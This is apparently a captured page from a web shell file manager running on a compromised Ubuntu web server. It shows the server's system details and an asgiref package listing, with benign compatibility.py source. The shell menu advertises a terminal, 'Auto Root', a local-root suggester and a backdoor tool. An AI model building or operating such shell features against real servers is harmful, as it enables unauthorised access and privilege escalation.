Linux tsuru-no-tsurugi 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
Apache/2.4.52 (Ubuntu)
Server IP : 192.168.0.18 & Your IP : 216.73.216.68
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
lib /
python3 /
dist-packages /
asgiref /
Delete
Unzip
Name
Size
Permission
Date
Action
__pycache__
[ DIR ]
drwxr-xr-x
2024-08-30 00:22
__init__.py
22
B
-rw-r--r--
2022-01-23 01:54
compatibility.py
1.56
KB
-rw-r--r--
2022-01-23 01:54
current_thread_executor.py
2.74
KB
-rw-r--r--
2022-01-23 01:54
local.py
4.74
KB
-rw-r--r--
2022-01-23 01:54
py.typed
0
B
-rw-r--r--
2022-01-23 01:54
server.py
5.86
KB
-rw-r--r--
2022-01-23 01:54
sync.py
18.85
KB
-rw-r--r--
2022-01-23 01:54
testing.py
3.05
KB
-rw-r--r--
2022-01-23 01:54
timeout.py
3.36
KB
-rw-r--r--
2022-01-23 01:54
typing.py
5.47
KB
-rw-r--r--
2022-01-23 01:54
wsgi.py
6.42
KB
-rw-r--r--
2022-01-23 01:54
Save
Rename
import asyncio import inspect def is_double_callable(application): """ Tests to see if an application is a legacy-style (double-callable) application. """ # Look for a hint on the object first if getattr(application, "_asgi_single_callable", False): return False if getattr(application, "_asgi_double_callable", False): return True # Uninstanted classes are double-callable if inspect.isclass(application): return True # Instanted classes depend on their __call__ if hasattr(application, "__call__"): # We only check to see if its __call__ is a coroutine function - # if it's not, it still might be a coroutine function itself. if asyncio.iscoroutinefunction(application.__call__): return False # Non-classes we just check directly return not asyncio.iscoroutinefunction(application) def double_to_single_callable(application): """ Transforms a double-callable ASGI application into a single-callable one. """ async def new_application(scope, receive, send): instance = application(scope) return await instance(receive, send) return new_application def guarantee_single_callable(application): """ Takes either a single- or double-callable application and always returns it in single-callable style. Use this to add backwards compatibility for ASGI 2.0 applications to your server/test harness/etc. """ if is_double_callable(application): application = double_to_single_callable(application) return application